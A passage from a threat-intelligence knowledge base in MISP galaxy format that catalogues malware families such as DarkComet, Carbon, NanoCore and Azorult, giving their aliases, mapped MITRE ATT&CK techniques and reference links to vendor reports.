uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"

Table 3374. Table References
Links
https://attack.mitre.org/software/S0297
http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/
http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/

Proton - S0279

[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).

The tag is: misp-galaxy:mitre-malware="Proton - S0279"

Proton - S0279 is also known as:

Proton

Proton - S0279 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3375. Table References
Links
https://attack.mitre.org/software/S0279
https://objective-see.com/blog/blog_0x25.html

KeyRaider - S0288

[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)

The tag is: misp-galaxy:mitre-malware="KeyRaider - S0288"

KeyRaider - S0288 is also known as:

KeyRaider

KeyRaider - S0288 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 3376. Table References
Links
https://attack.mitre.org/software/S0288
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/

NotCompatible - S0299

[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)

The tag is: misp-galaxy:mitre-malware="NotCompatible - S0299"

NotCompatible - S0299 is also known as:

NotCompatible

NotCompatible - S0299 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428" with estimative-language:likelihood-probability="almost-certain"

Table 3377. Table References
Links
https://attack.mitre.org/software/S0299
https://blog.lookout.com/blog/2014/11/19/notcompatible/

UBoatRAT - S0333

[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)

The tag is: misp-galaxy:mitre-malware="UBoatRAT - S0333"

UBoatRAT - S0333 is also known as:

UBoatRAT

UBoatRAT - S0333 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3378. Table References
Links
https://attack.mitre.org/software/S0333
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

DarkComet - S0334

[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)

The tag is: misp-galaxy:mitre-malware="DarkComet - S0334"

DarkComet - S0334 is also known as:

DarkComet
DarkKomet
Fynloski
Krademok
FYNLOS

DarkComet - S0334 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3379. Table References
Links
https://attack.mitre.org/software/S0334
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/

Carbon - S0335

[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)

The tag is: misp-galaxy:mitre-malware="Carbon - S0335"

Carbon - S0335 is also known as:

Carbon

Carbon - S0335 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 3380. Table References
Links
https://attack.mitre.org/software/S0335
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/

NOKKI - S0353

[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)

The tag is: misp-galaxy:mitre-malware="NOKKI - S0353"

NOKKI - S0353 is also known as:

NOKKI

NOKKI - S0353 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3381. Table References
Links
https://attack.mitre.org/software/S0353
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

NanoCore - S0336

[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: misp-galaxy:mitre-malware="NanoCore - S0336"

NanoCore - S0336 is also known as:

NanoCore

NanoCore - S0336 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3382. Table References
Links
https://attack.mitre.org/software/S0336
https://www.digitrustgroup.com/nanocore-not-your-average-rat/
https://cofense.com/nanocore-rat-resurfaced-sewers/
https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

Astaroth - S0373

[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)

The tag is: misp-galaxy:mitre-malware="Astaroth - S0373"

Astaroth - S0373 is also known as:

Astaroth

Astaroth - S0373 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3383. Table References
Links
https://attack.mitre.org/software/S0373
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research
https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/

BadPatch - S0337

[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)

The tag is: misp-galaxy:mitre-malware="BadPatch - S0337"

BadPatch - S0337 is also known as:

BadPatch

BadPatch - S0337 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3384. Table References
Links
https://attack.mitre.org/software/S0337
https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/

FlawedGrace - S0383

[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)

The tag is: misp-galaxy:mitre-malware="FlawedGrace - S0383"

FlawedGrace - S0383 is also known as:

FlawedGrace

FlawedGrace - S0383 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3385. Table References
Links
https://attack.mitre.org/software/S0383
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Micropsia - S0339

[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)

The tag is: misp-galaxy:mitre-malware="Micropsia - S0339"

Micropsia - S0339 is also known as:

Micropsia

Micropsia - S0339 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 3386. Table References
Links
https://attack.mitre.org/software/S0339
https://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://blog.radware.com/security/2018/07/micropsia-malware/

PowerStallion - S0393

[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)

The tag is: misp-galaxy:mitre-malware="PowerStallion - S0393"

PowerStallion - S0393 is also known as:

PowerStallion

PowerStallion - S0393 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 3387. Table References
Links
https://attack.mitre.org/software/S0393
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Azorult - S0344

[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016. In July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)

The tag is: misp-galaxy:mitre-malware="Azorult - S0344"

Azorult - S0344 is also known as:

Azorult

Azorult - S0344 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3388. Table References
Links
https://attack.mitre.org/software/S0344
https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

Denis - S0354

[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan.(Citation: Cybereason Oceanlotus May 2017)

The tag is: misp-galaxy:mitre-malware="Denis - S0354"

Denis - S0354 is also known as:

Denis

Denis - S0354 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
